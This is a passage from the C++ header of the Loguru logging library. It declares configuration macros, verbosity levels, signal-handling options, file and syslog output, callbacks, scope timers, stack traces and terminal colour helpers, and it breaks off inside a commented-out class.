LOGURU_EXPORT\n\t// Define to your project's export declaration if needed for use in a shared library.\n#define LOGURU_EXPORT\n#endif\n\n#ifndef LOGURU_SCOPE_TEXT_SIZE\n\t// Maximum length of text that can be printed by a LOG_SCOPE.\n\t// This should be long enough to get most things, but short enough not to clutter the stack.\n#define LOGURU_SCOPE_TEXT_SIZE 196\n#endif\n\n#ifndef LOGURU_FILENAME_WIDTH\n\t// Width of the column containing the file name\n#define LOGURU_FILENAME_WIDTH 23\n#endif\n\n#ifndef LOGURU_THREADNAME_WIDTH\n\t// Width of the column containing the thread name\n#define LOGURU_THREADNAME_WIDTH 16\n#endif\n\n#ifndef LOGURU_SCOPE_TIME_PRECISION\n\t// Resolution of scope timers. 3=ms, 6=us, 9=ns\n#define LOGURU_SCOPE_TIME_PRECISION 3\n#endif\n\n#ifdef LOGURU_CATCH_SIGABRT\n#error \"You are defining LOGURU_CATCH_SIGABRT. This is for older versions of Loguru. You should now instead set the options passed to loguru::init\"\n#endif\n\n#ifndef LOGURU_VERBOSE_SCOPE_ENDINGS\n\t// Show milliseconds and scope name at end of scope.\n#define LOGURU_VERBOSE_SCOPE_ENDINGS 1\n#endif\n\n#ifndef LOGURU_REDEFINE_ASSERT\n#define LOGURU_REDEFINE_ASSERT 0\n#endif\n\n#ifndef LOGURU_WITH_STREAMS\n#define LOGURU_WITH_STREAMS 0\n#endif\n\n#ifndef LOGURU_REPLACE_GLOG\n#define LOGURU_REPLACE_GLOG 0\n#endif\n\n#if LOGURU_REPLACE_GLOG\n#undef LOGURU_WITH_STREAMS\n#define LOGURU_WITH_STREAMS 1\n#endif\n\n#if defined(LOGURU_UNSAFE_SIGNAL_HANDLER)\n#error \"You are defining LOGURU_UNSAFE_SIGNAL_HANDLER. This is for older versions of Loguru. You should now instead set the unsafe_signal_handler option when you call loguru::init.\"\n#endif\n\n#if LOGURU_IMPLEMENTATION\n#undef LOGURU_WITH_STREAMS\n#define LOGURU_WITH_STREAMS 1\n#endif\n\n#ifndef LOGURU_USE_FMTLIB\n#define LOGURU_USE_FMTLIB 0\n#endif\n\n#ifndef LOGURU_USE_LOCALE\n#define LOGURU_USE_LOCALE 0\n#endif\n\n#ifndef LOGURU_WITH_FILEABS\n#define LOGURU_WITH_FILEABS 0\n#endif\n\n#ifndef LOGURU_RTTI\n#if defined(__clang__)\n#if __has_feature(cxx_rtti)\n#define LOGURU_RTTI 1\n#endif\n#elif defined(__GNUG__)\n#if defined(__GXX_RTTI)\n#define LOGURU_RTTI 1\n#endif\n#elif defined(_MSC_VER)\n#if defined(_CPPRTTI)\n#define LOGURU_RTTI 1\n#endif\n#endif\n#endif\n\n#ifdef LOGURU_USE_ANONYMOUS_NAMESPACE\n#define LOGURU_ANONYMOUS_NAMESPACE_BEGIN namespace {\n#define LOGURU_ANONYMOUS_NAMESPACE_END }\n#else\n#define LOGURU_ANONYMOUS_NAMESPACE_BEGIN\n#define LOGURU_ANONYMOUS_NAMESPACE_END\n#endif\n\n// --------------------------------------------------------------------\n// Utility macros\n\n#define LOGURU_CONCATENATE_IMPL(s1, s2) s1 ## s2\n#define LOGURU_CONCATENATE(s1, s2) LOGURU_CONCATENATE_IMPL(s1, s2)\n\n#ifdef __COUNTER__\n#   define LOGURU_ANONYMOUS_VARIABLE(str) LOGURU_CONCATENATE(str, __COUNTER__)\n#else\n#   define LOGURU_ANONYMOUS_VARIABLE(str) LOGURU_CONCATENATE(str, __LINE__)\n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n\t// Helper macro for declaring functions as having similar signature to printf.\n\t// This allows the compiler to catch format errors at compile-time.\n#define LOGURU_PRINTF_LIKE(fmtarg, firstvararg) __attribute__((__format__ (__printf__, fmtarg, firstvararg)))\n#define LOGURU_FORMAT_STRING_TYPE const char*\n#elif defined(_MSC_VER)\n#define LOGURU_PRINTF_LIKE(fmtarg, firstvararg)\n#define LOGURU_FORMAT_STRING_TYPE _In_z_ _Printf_format_string_ const char*\n#else\n#define LOGURU_PRINTF_LIKE(fmtarg, firstvararg)\n#define LOGURU_FORMAT_STRING_TYPE const char*\n#endif\n\n// Used to mark log_and_abort for the benefit of the static analyzer and optimizer.\n#if defined(_MSC_VER)\n#define LOGURU_NORETURN __declspec(noreturn)\n#else\n#define LOGURU_NORETURN __attribute__((noreturn))\n#endif\n\n#if defined(_MSC_VER)\n#define LOGURU_PREDICT_FALSE(x) (x)\n#define LOGURU_PREDICT_TRUE(x)  (x)\n#else\n#define LOGURU_PREDICT_FALSE(x) (__builtin_expect(x,     0))\n#define LOGURU_PREDICT_TRUE(x)  (__builtin_expect(!!(x), 1))\n#endif\n\n#if LOGURU_USE_FMTLIB\n#include <fmt/format.h>\n#define LOGURU_FMT(x) \"{:\" #x \"}\"\n#else\n#define LOGURU_FMT(x) \"%\" #x\n#endif\n\n#ifdef _WIN32\n#define STRDUP(str) _strdup(str)\n#else\n#define STRDUP(str) strdup(str)\n#endif\n\n#include <stdarg.h>\n\n// --------------------------------------------------------------------\nLOGURU_ANONYMOUS_NAMESPACE_BEGIN\n\nnamespace loguru\n{\n\t// Simple RAII ownership of a char*.\n\tclass LOGURU_EXPORT Text\n\t{\n\tpublic:\n\t\texplicit Text(char* owned_str) : _str(owned_str) {}\n\t\t~Text();\n\t\tText(Text&& t)\n\t\t{\n\t\t\t_str = t._str;\n\t\t\tt._str = nullptr;\n\t\t}\n\t\tText(Text& t) = delete;\n\t\tText& operator=(Text& t) = delete;\n\t\tvoid operator=(Text&& t) = delete;\n\n\t\tconst char* c_str() const { return _str; }\n\t\tbool empty() const { return _str == nullptr || *_str == '\\0'; }\n\n\t\tchar* release()\n\t\t{\n\t\t\tauto result = _str;\n\t\t\t_str = nullptr;\n\t\t\treturn result;\n\t\t}\n\n\tprivate:\n\t\tchar* _str;\n\t};\n\n\t// Like printf, but returns the formated text.\n#if LOGURU_USE_FMTLIB\n\tLOGURU_EXPORT\n\t\tText vtextprintf(const char* format, fmt::format_args args);\n\n\ttemplate<typename... Args>\n\tLOGURU_EXPORT\n\t\tText textprintf(LOGURU_FORMAT_STRING_TYPE format, const Args&... args) {\n\t\treturn vtextprintf(format, fmt::make_format_args(args...));\n\t}\n#else\n\tLOGURU_EXPORT\n\t\tText textprintf(LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(1, 2);\n#endif\n\n\t// Overloaded for variadic template matching.\n\tLOGURU_EXPORT\n\t\tText textprintf();\n\n\tusing Verbosity = int;\n\n#undef FATAL\n#undef ERROR\n#undef WARNING\n#undef INFO\n#undef MAX\n\n\tenum NamedVerbosity : Verbosity\n\t{\n\t\t// Used to mark an invalid verbosity. Do not log to this level.\n\t\tVerbosity_INVALID = -10, // Never do LOG_F(INVALID)\n\n\t\t// You may use Verbosity_OFF on g_stderr_verbosity, but for nothing else!\n\t\tVerbosity_OFF = -9, // Never do LOG_F(OFF)\n\n\t\t// Prefer to use ABORT_F or ABORT_S over LOG_F(FATAL) or LOG_S(FATAL).\n\t\tVerbosity_FATAL = -3,\n\t\tVerbosity_ERROR = -2,\n\t\tVerbosity_WARNING = -1,\n\n\t\t// Normal messages. By default written to stderr.\n\t\tVerbosity_INFO = 0,\n\n\t\t// Same as Verbosity_INFO in every way.\n\t\tVerbosity_0 = 0,\n\n\t\t// Verbosity levels 1-9 are generally not written to stderr, but are written to file.\n\t\tVerbosity_1 = +1,\n\t\tVerbosity_2 = +2,\n\t\tVerbosity_3 = +3,\n\t\tVerbosity_4 = +4,\n\t\tVerbosity_5 = +5,\n\t\tVerbosity_6 = +6,\n\t\tVerbosity_7 = +7,\n\t\tVerbosity_8 = +8,\n\t\tVerbosity_9 = +9,\n\n\t\t// Do not use higher verbosity levels, as that will make grepping log files harder.\n\t\tVerbosity_MAX = +9,\n\t};\n\n\tstruct Message\n\t{\n\t\t// You would generally print a Message by just concatenating the buffers without spacing.\n\t\t// Optionally, ignore preamble and indentation.\n\t\tVerbosity   verbosity;   // Already part of preamble\n\t\tconst char* filename;    // Already part of preamble\n\t\tunsigned    line;        // Already part of preamble\n\t\tconst char* preamble;    // Date, time, uptime, thread, file:line, verbosity.\n\t\tconst char* indentation; // Just a bunch of spacing.\n\t\tconst char* prefix;      // Assertion failure info goes here (or \"\").\n\t\tconst char* message;     // User message goes here.\n\t};\n\n\t/* Everything with a verbosity equal or greater than g_stderr_verbosity will be\n\twritten to stderr. You can set this in code or via the -v argument.\n\tSet to loguru::Verbosity_OFF to write nothing to stderr.\n\tDefault is 0, i.e. only log ERROR, WARNING and INFO are written to stderr.\n\t*/\n\tLOGURU_EXPORT extern Verbosity g_stderr_verbosity;\n\tLOGURU_EXPORT extern bool      g_colorlogtostderr; // True by default.\n\tLOGURU_EXPORT extern unsigned  g_flush_interval_ms; // 0 (unbuffered) by default.\n\tLOGURU_EXPORT extern bool      g_preamble_header; // Prepend each log start by a descriptions line with all columns name? True by default.\n\tLOGURU_EXPORT extern bool      g_preamble; // Prefix each log line with date, time etc? True by default.\n\n\t/* Specify the verbosity used by loguru to log its info messages including the header\n\tlogged when logged::init() is called or on exit. Default is 0 (INFO).\n\t*/\n\tLOGURU_EXPORT extern Verbosity g_internal_verbosity;\n\n\t// Turn off individual parts of the preamble\n\tLOGURU_EXPORT extern bool      g_preamble_date; // The date field\n\tLOGURU_EXPORT extern bool      g_preamble_time; // The time of the current day\n\tLOGURU_EXPORT extern bool      g_preamble_uptime; // The time since init call\n\tLOGURU_EXPORT extern bool      g_preamble_thread; // The logging thread\n\tLOGURU_EXPORT extern bool      g_preamble_file; // The file from which the log originates from\n\tLOGURU_EXPORT extern bool      g_preamble_verbose; // The verbosity field\n\tLOGURU_EXPORT extern bool      g_preamble_pipe; // The pipe symbol right before the message\n\n\t// May not throw!\n\ttypedef void (*log_handler_t)(void* user_data, const Message& message);\n\ttypedef void (*close_handler_t)(void* user_data);\n\ttypedef void (*flush_handler_t)(void* user_data);\n\n\t// May throw if that's how you'd like to handle your errors.\n\ttypedef void (*fatal_handler_t)(const Message& message);\n\n\t// Given a verbosity level, return the level's name or nullptr.\n\ttypedef const char* (*verbosity_to_name_t)(Verbosity verbosity);\n\n\t// Given a verbosity level name, return the verbosity level or\n\t// Verbosity_INVALID if name is not recognized.\n\ttypedef Verbosity(*name_to_verbosity_t)(const char* name);\n\n\tstruct SignalOptions\n\t{\n\t\t/// Make Loguru try to do unsafe but useful things,\n\t\t/// like printing a stack trace, when catching signals.\n\t\t/// This may lead to bad things like deadlocks in certain situations.\n\t\tbool unsafe_signal_handler = true;\n\n\t\t/// Should Loguru catch SIGABRT ?\n\t\tbool sigabrt = true;\n\n\t\t/// Should Loguru catch SIGBUS ?\n\t\tbool sigbus = true;\n\n\t\t/// Should Loguru catch SIGFPE ?\n\t\tbool sigfpe = true;\n\n\t\t/// Should Loguru catch SIGILL ?\n\t\tbool sigill = true;\n\n\t\t/// Should Loguru catch SIGINT ?\n\t\tbool sigint = true;\n\n\t\t/// Should Loguru catch SIGSEGV ?\n\t\tbool sigsegv = true;\n\n\t\t/// Should Loguru catch SIGTERM ?\n\t\tbool sigterm = true;\n\n\t\tstatic SignalOptions none()\n\t\t{\n\t\t\tSignalOptions options;\n\t\t\toptions.unsafe_signal_handler = false;\n\t\t\toptions.sigabrt = false;\n\t\t\toptions.sigbus = false;\n\t\t\toptions.sigfpe = false;\n\t\t\toptions.sigill = false;\n\t\t\toptions.sigint = false;\n\t\t\toptions.sigsegv = false;\n\t\t\toptions.sigterm = false;\n\t\t\treturn options;\n\t\t}\n\t};\n\n\t// Runtime options passed to loguru::init\n\tstruct Options\n\t{\n\t\t// This allows you to use something else instead of \"-v\" via verbosity_flag.\n\t\t// Set to nullptr if you don't want Loguru to parse verbosity from the args.\n\t\tconst char* verbosity_flag = \"-v\";\n\n\t\t// loguru::init will set the name of the calling thread to this.\n\t\t// If you don't want Loguru to set the name of the main thread,\n\t\t// set this to nullptr.\n\t\t// NOTE: on SOME platforms loguru::init will only overwrite the thread name\n\t\t// if a thread name has not already been set.\n\t\t// To always set a thread name, use loguru::set_thread_name instead.\n\t\tconst char* main_thread_name = \"main thread\";\n\n\t\tSignalOptions signal_options;\n\t};\n\n\t/*  Should be called from the main thread.\n\t\tYou don't *need* to call this, but if you do you get:\n\t\t\t* Signal handlers installed\n\t\t\t* Program arguments logged\n\t\t\t* Working dir logged\n\t\t\t* Optional -v verbosity flag parsed\n\t\t\t* Main thread name set to \"main thread\"\n\t\t\t* Explanation of the preamble (date, thread name, etc) logged\n\n\t\tloguru::init() will look for arguments meant for loguru and remove them.\n\t\tArguments meant for loguru are:\n\t\t\t-v n   Set loguru::g_stderr_verbosity level. Examples:\n\t\t\t\t-v 3        Show verbosity level 3 and lower.\n\t\t\t\t-v 0        Only show INFO, WARNING, ERROR, FATAL (default).\n\t\t\t\t-v INFO     Only show INFO, WARNING, ERROR, FATAL (default).\n\t\t\t\t-v WARNING  Only show WARNING, ERROR, FATAL.\n\t\t\t\t-v ERROR    Only show ERROR, FATAL.\n\t\t\t\t-v FATAL    Only show FATAL.\n\t\t\t\t-v OFF      Turn off logging to stderr.\n\n\t\tTip: You can set g_stderr_verbosity before calling loguru::init.\n\t\tThat way you can set the default but have the user override it with the -v flag.\n\t\tNote that -v does not affect file logging (see loguru::add_file).\n\n\t\tYou can you something other than the -v flag by setting the verbosity_flag option.\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid init(int& argc, char* argv[], const Options& options = {});\n\n\t// Will call remove_all_callbacks(). After calling this, logging will still go to stderr.\n\t// You generally don't need to call this.\n\tLOGURU_EXPORT\n\t\tvoid shutdown();\n\n\t// What ~ will be replaced with, e.g. \"/home/your_user_name/\"\n\tLOGURU_EXPORT\n\t\tconst char* home_dir();\n\n\t/* Returns the name of the app as given in argv[0] but without leading path.\n\t   That is, if argv[0] is \"../foo/app\" this will return \"app\".\n\t*/\n\tLOGURU_EXPORT\n\t\tconst char* argv0_filename();\n\n\t// Returns all arguments given to loguru::init(), but escaped with a single space as separator.\n\tLOGURU_EXPORT\n\t\tconst char* arguments();\n\n\t// Returns the path to the current working dir when loguru::init() was called.\n\tLOGURU_EXPORT\n\t\tconst char* current_dir();\n\n\t// Returns the part of the path after the last / or \\ (if any).\n\tLOGURU_EXPORT\n\t\tconst char* filename(const char* path);\n\n\t// e.g. \"foo/bar/baz.ext\" will create the directories \"foo/\" and \"foo/bar/\"\n\tLOGURU_EXPORT\n\t\tbool create_directories(const char* file_path_const);\n\n\t// Writes date and time with millisecond precision, e.g. \"20151017_161503.123\"\n\tLOGURU_EXPORT\n\t\tvoid write_date_time(char* buff, unsigned long long buff_size);\n\n\t// Helper: thread-safe version strerror\n\tLOGURU_EXPORT\n\t\tText errno_as_text();\n\n\t/* Given a prefix of e.g. \"~/loguru/\" this might return\n\t   \"/home/your_username/loguru/app_name/20151017_161503.123.log\"\n\n\t   where \"app_name\" is a sanitized version of argv[0].\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid suggest_log_path(const char* prefix, char* buff, unsigned long long buff_size);\n\n\tenum FileMode { Truncate, Append };\n\n\t/*  Will log to a file at the given path.\n\t\tAny logging message with a verbosity lower or equal to\n\t\tthe given verbosity will be included.\n\t\tThe function will create all directories in 'path' if needed.\n\t\tIf path starts with a ~, it will be replaced with loguru::home_dir()\n\t\tTo stop the file logging, just call loguru::remove_callback(path) with the same path.\n\t*/\n\tLOGURU_EXPORT\n\t\tbool add_file(const char* path, FileMode mode, Verbosity verbosity);\n\n\tLOGURU_EXPORT\n\t\t// Send logs to syslog with LOG_USER facility (see next call)\n\t\tbool add_syslog(const char* app_name, Verbosity verbosity);\n\tLOGURU_EXPORT\n\t\t// Send logs to syslog with your own choice of facility (LOG_USER, LOG_AUTH, ...)\n\t\t// see loguru.cpp: syslog_log() for more details.\n\t\tbool add_syslog(const char* app_name, Verbosity verbosity, int facility);\n\n\t/*  Will be called right before abort().\n\t\tYou can for instance use this to print custom error messages, or throw an exception.\n\t\tFeel free to call LOG:ing function from this, but not FATAL ones! */\n\tLOGURU_EXPORT\n\t\tvoid set_fatal_handler(fatal_handler_t handler);\n\n\t// Get the current fatal handler, if any. Default value is nullptr.\n\tLOGURU_EXPORT\n\t\tfatal_handler_t get_fatal_handler();\n\n\t/*  Will be called on each log messages with a verbosity less or equal to the given one.\n\t\tUseful for displaying messages on-screen in a game, for example.\n\t\tThe given on_close is also expected to flush (if desired).\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid add_callback(\n\t\t\tconst char* id,\n\t\t\tlog_handler_t   callback,\n\t\t\tvoid* user_data,\n\t\t\tVerbosity       verbosity,\n\t\t\tclose_handler_t on_close = nullptr,\n\t\t\tflush_handler_t on_flush = nullptr);\n\n\t/*  Set a callback that returns custom verbosity level names. If callback\n\t\tis nullptr or returns nullptr, default log names will be used.\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid set_verbosity_to_name_callback(verbosity_to_name_t callback);\n\n\t/*  Set a callback that returns the verbosity level matching a name. The\n\t\tcallback should return Verbosity_INVALID if the name is not\n\t\trecognized.\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid set_name_to_verbosity_callback(name_to_verbosity_t callback);\n\n\t/*  Get a custom name for a specific verbosity, if one exists, or nullptr. */\n\tLOGURU_EXPORT\n\t\tconst char* get_verbosity_name(Verbosity verbosity);\n\n\t/*  Get the verbosity enum value from a custom 4-character level name, if one exists.\n\t\tIf the name does not match a custom level name, Verbosity_INVALID is returned.\n\t*/\n\tLOGURU_EXPORT\n\t\tVerbosity get_verbosity_from_name(const char* name);\n\n\t// Returns true iff the callback was found (and removed).\n\tLOGURU_EXPORT\n\t\tbool remove_callback(const char* id);\n\n\t// Shut down all file logging and any other callback hooks installed.\n\tLOGURU_EXPORT\n\t\tvoid remove_all_callbacks();\n\n\t// Returns the maximum of g_stderr_verbosity and all file/custom outputs.\n\tLOGURU_EXPORT\n\t\tVerbosity current_verbosity_cutoff();\n\n#if LOGURU_USE_FMTLIB\n\t// Internal functions\n\tLOGURU_EXPORT\n\t\tvoid vlog(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, fmt::format_args args);\n\tLOGURU_EXPORT\n\t\tvoid raw_vlog(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, fmt::format_args args);\n\n\t// Actual logging function. Use the LOG macro instead of calling this directly.\n\ttemplate <typename... Args>\n\tLOGURU_EXPORT\n\t\tvoid log(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, const Args &... args) {\n\t\tvlog(verbosity, file, line, format, fmt::make_format_args(args...));\n\t}\n\n\t// Log without any preamble or indentation.\n\ttemplate <typename... Args>\n\tLOGURU_EXPORT\n\t\tvoid raw_log(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, const Args &... args) {\n\t\traw_vlog(verbosity, file, line, format, fmt::make_format_args(args...));\n\t}\n#else // LOGURU_USE_FMTLIB?\n\t// Actual logging function. Use the LOG macro instead of calling this directly.\n\tLOGURU_EXPORT\n\t\tvoid log(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(4, 5);\n\n\t// Actual logging function.\n\tLOGURU_EXPORT\n\t\tvoid vlog(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, va_list) LOGURU_PRINTF_LIKE(4, 0);\n\n\t// Log without any preamble or indentation.\n\tLOGURU_EXPORT\n\t\tvoid raw_log(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(4, 5);\n#endif // !LOGURU_USE_FMTLIB\n\n\t// Helper class for LOG_SCOPE_F\n\tclass LOGURU_EXPORT LogScopeRAII\n\t{\n\tpublic:\n\t\tLogScopeRAII() : _file(nullptr) {} // No logging\n\t\tLogScopeRAII(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, va_list vlist) LOGURU_PRINTF_LIKE(5, 0);\n\t\tLogScopeRAII(Verbosity verbosity, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(5, 6);\n\t\t~LogScopeRAII();\n\n\t\tvoid Init(LOGURU_FORMAT_STRING_TYPE format, va_list vlist) LOGURU_PRINTF_LIKE(2, 0);\n\n#if defined(_MSC_VER) && _MSC_VER > 1800\n\t\t// older MSVC default move ctors close the scope on move. See\n\t\t// issue #43\n\t\tLogScopeRAII(LogScopeRAII&& other)\n\t\t\t: _verbosity(other._verbosity)\n\t\t\t, _file(other._file)\n\t\t\t, _line(other._line)\n\t\t\t, _indent_stderr(other._indent_stderr)\n\t\t\t, _start_time_ns(other._start_time_ns)\n\t\t{\n\t\t\t// Make sure the tmp object's destruction doesn't close the scope:\n\t\t\tother._file = nullptr;\n\n\t\t\tfor (unsigned int i = 0; i < LOGURU_SCOPE_TEXT_SIZE; ++i) {\n\t\t\t\t_name[i] = other._name[i];\n\t\t\t}\n\t\t}\n#else\n\t\tLogScopeRAII(LogScopeRAII&&) = default;\n#endif\n\n\tprivate:\n\t\tLogScopeRAII(const LogScopeRAII&) = delete;\n\t\tLogScopeRAII& operator=(const LogScopeRAII&) = delete;\n\t\tvoid operator=(LogScopeRAII&&) = delete;\n\n\t\tVerbosity   _verbosity;\n\t\tconst char* _file; // Set to null if we are disabled due to verbosity\n\t\tunsigned    _line;\n\t\tbool        _indent_stderr; // Did we?\n\t\tlong long   _start_time_ns;\n\t\tchar        _name[LOGURU_SCOPE_TEXT_SIZE];\n\t};\n\n\t// Marked as 'noreturn' for the benefit of the static analyzer and optimizer.\n\t// stack_trace_skip is the number of extrace stack frames to skip above log_and_abort.\n#if LOGURU_USE_FMTLIB\n\tLOGURU_EXPORT\n\t\tLOGURU_NORETURN void vlog_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, fmt::format_args);\n\ttemplate <typename... Args>\n\tLOGURU_EXPORT\n\t\tLOGURU_NORETURN void log_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, const Args&... args) {\n\t\tvlog_and_abort(stack_trace_skip, expr, file, line, format, fmt::make_format_args(args...));\n\t}\n#else\n\tLOGURU_EXPORT\n\t\tLOGURU_NORETURN void log_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line, LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(5, 6);\n#endif\n\tLOGURU_EXPORT\n\t\tLOGURU_NORETURN void log_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line);\n\n\t// Flush output to stderr and files.\n\t// If g_flush_interval_ms is set to non-zero, this will be called automatically this often.\n\t// If not set, you do not need to call this at all.\n\tLOGURU_EXPORT\n\t\tvoid flush();\n\n\ttemplate<class T> inline Text format_value(const T&) { return textprintf(\"N/A\"); }\n\ttemplate<>        inline Text format_value(const char& v) { return textprintf(LOGURU_FMT(c), v); }\n\ttemplate<>        inline Text format_value(const int& v) { return textprintf(LOGURU_FMT(d), v); }\n\ttemplate<>        inline Text format_value(const float& v) { return textprintf(LOGURU_FMT(f), v); }\n\ttemplate<>        inline Text format_value(const double& v) { return textprintf(LOGURU_FMT(f), v); }\n\n#if LOGURU_USE_FMTLIB\n\ttemplate<>        inline Text format_value(const unsigned int& v) { return textprintf(LOGURU_FMT(d), v); }\n\ttemplate<>        inline Text format_value(const long& v) { return textprintf(LOGURU_FMT(d), v); }\n\ttemplate<>        inline Text format_value(const unsigned long& v) { return textprintf(LOGURU_FMT(d), v); }\n\ttemplate<>        inline Text format_value(const long long& v) { return textprintf(LOGURU_FMT(d), v); }\n\ttemplate<>        inline Text format_value(const unsigned long long& v) { return textprintf(LOGURU_FMT(d), v); }\n#else\n\ttemplate<>        inline Text format_value(const unsigned int& v) { return textprintf(LOGURU_FMT(u), v); }\n\ttemplate<>        inline Text format_value(const long& v) { return textprintf(LOGURU_FMT(lu), v); }\n\ttemplate<>        inline Text format_value(const unsigned long& v) { return textprintf(LOGURU_FMT(ld), v); }\n\ttemplate<>        inline Text format_value(const long long& v) { return textprintf(LOGURU_FMT(llu), v); }\n\ttemplate<>        inline Text format_value(const unsigned long long& v) { return textprintf(LOGURU_FMT(lld), v); }\n#endif\n\n\t/* Thread names can be set for the benefit of readable logs.\n\t   If you do not set the thread name, a hex id will be shown instead.\n\t   These thread names may or may not be the same as the system thread names,\n\t   depending on the system.\n\t   Try to limit the thread name to 15 characters or less. */\n\tLOGURU_EXPORT\n\t\tvoid set_thread_name(const char* name);\n\n\t/* Returns the thread name for this thread.\n\t   On most *nix systems this will return the system thread name (settable from both within and without Loguru).\n\t   On other systems it will return whatever you set in `set_thread_name()`;\n\t   If no thread name is set, this will return a hexadecimal thread id.\n\t   `length` should be the number of bytes available in the buffer.\n\t   17 is a good number for length.\n\t   `right_align_hex_id` means any hexadecimal thread id will be written to the end of buffer.\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid get_thread_name(char* buffer, unsigned long long length, bool right_align_hex_id);\n\n\t/* Generates a readable stacktrace as a string.\n\t   'skip' specifies how many stack frames to skip.\n\t   For instance, the default skip (1) means:\n\t   don't include the call to loguru::stacktrace in the stack trace. */\n\tLOGURU_EXPORT\n\t\tText stacktrace(int skip = 1);\n\n\t/*  Add a string to be replaced with something else in the stack output.\n\n\t\tFor instance, instead of having a stack trace look like this:\n\t\t\t0x41f541 some_function(std::basic_ofstream<char, std::char_traits<char> >&)\n\t\tYou can clean it up with:\n\t\t\tauto verbose_type_name = loguru::demangle(typeid(std::ofstream).name());\n\t\t\tloguru::add_stack_cleanup(verbose_type_name.c_str(); \"std::ofstream\");\n\t\tSo the next time you will instead see:\n\t\t\t0x41f541 some_function(std::ofstream&)\n\n\t\t`replace_with_this` must be shorter than `find_this`.\n\t*/\n\tLOGURU_EXPORT\n\t\tvoid add_stack_cleanup(const char* find_this, const char* replace_with_this);\n\n\t// Example: demangle(typeid(std::ofstream).name()) -> \"std::basic_ofstream<char, std::char_traits<char> >\"\n\tLOGURU_EXPORT\n\t\tText demangle(const char* name);\n\n\t// ------------------------------------------------------------------------\n\t/*\n\tNot all terminals support colors, but if they do, and g_colorlogtostderr\n\tis set, Loguru will write them to stderr to make errors in red, etc.\n\n\tYou also have the option to manually use them, via the function below.\n\n\tNote, however, that if you do, the color codes could end up in your logfile!\n\n\tThis means if you intend to use them functions you should either:\n\t\t* Use them on the stderr/stdout directly (bypass Loguru).\n\t\t* Don't add file outputs to Loguru.\n\t\t* Expect some \\e[1m things in your logfile.\n\n\tUsage:\n\t\tprintf(\"%sRed%sGreen%sBold green%sClear again\\n\",\n\t\t\t   loguru::terminal_red(), loguru::terminal_green(),\n\t\t\t   loguru::terminal_bold(), loguru::terminal_reset());\n\n\tIf the terminal at hand does not support colors the above output\n\twill just not have funky \\e[1m things showing.\n\t*/\n\n\t// Do the output terminal support colors?\n\tLOGURU_EXPORT\n\t\tbool terminal_has_color();\n\n\t// Colors\n\tLOGURU_EXPORT const char* terminal_black();\n\tLOGURU_EXPORT const char* terminal_red();\n\tLOGURU_EXPORT const char* terminal_green();\n\tLOGURU_EXPORT const char* terminal_yellow();\n\tLOGURU_EXPORT const char* terminal_blue();\n\tLOGURU_EXPORT const char* terminal_purple();\n\tLOGURU_EXPORT const char* terminal_cyan();\n\tLOGURU_EXPORT const char* terminal_light_gray();\n\tLOGURU_EXPORT const char* terminal_light_red();\n\tLOGURU_EXPORT const char* terminal_white();\n\n\t// Formating\n\tLOGURU_EXPORT const char* terminal_bold();\n\tLOGURU_EXPORT const char* terminal_underline();\n\n\t// You should end each line with this!\n\tLOGURU_EXPORT const char* terminal_reset();\n\n\t// --------------------------------------------------------------------\n\t// Error context related:\n\n\tstruct StringStream;\n\n\t// Use this in your EcEntryBase::print_value overload.\n\tLOGURU_EXPORT\n\t\tvoid stream_print(StringStream& out_string_stream, const char* text);\n\n\tclass LOGURU_EXPORT EcEntryBase\n\t{\n\tpublic:\n\t\tEcEntryBase(const char* file, unsigned line, const char* descr);\n\t\t~EcEntryBase();\n\t\tEcEntryBase(const EcEntryBase&) = delete;\n\t\tEcEntryBase(EcEntryBase&&) = delete;\n\t\tEcEntryBase& operator=(const EcEntryBase&) = delete;\n\t\tEcEntryBase& operator=(EcEntryBase&&) = delete;\n\n\t\tvirtual void print_value(StringStream& out_string_stream) const = 0;\n\n\t\tEcEntryBase* previous() const { return _previous; }\n\n\t\t// private:\n\t\tconst char* _file;\n\t\tunsigned     _line;\n\t\tconst char* _descr;\n\t\tEcEntryBase* _previous;\n\t};\n\n\ttemplate<typename T>\n\tclass EcEntryData : public EcEntryBase\n\t{\n\tpublic:\n\t\tusing Printer = Text(*)(T data);\n\n\t\tEcEntryData(const char* file, unsigned line, const char* descr, T data, Printer&& printer)\n\t\t\t: EcEntryBase(file, line, descr), _data(data), _printer(printer) {}\n\n\t\tvirtual void print_value(StringStream& out_string_stream) const override\n\t\t{\n\t\t\tconst auto str = _printer(_data);\n\t\t\tstream_print(out_string_stream, str.c_str());\n\t\t}\n\n\tprivate:\n\t\tT       _data;\n\t\tPrinter _printer;\n\t};\n\n\t// template<typename Printer>\n\t// class EcEntryLambda : public EcEntryBase\n\t// {\n\t// public:\n\t// \tEcEntryLambda(const char* file, unsigned line, const char* descr, Printer&& printer)\n\t// \t\t: EcEntryBase(file, line, descr), _printer(std::move(printer)) {}\n\n\t// \tvirtual void print_value(StringStream& out_string_stream) const override\n\t// \t{\n\t// \t\tconst auto str = _printer();\n\t// \t\tstream_print(out_string_stream, 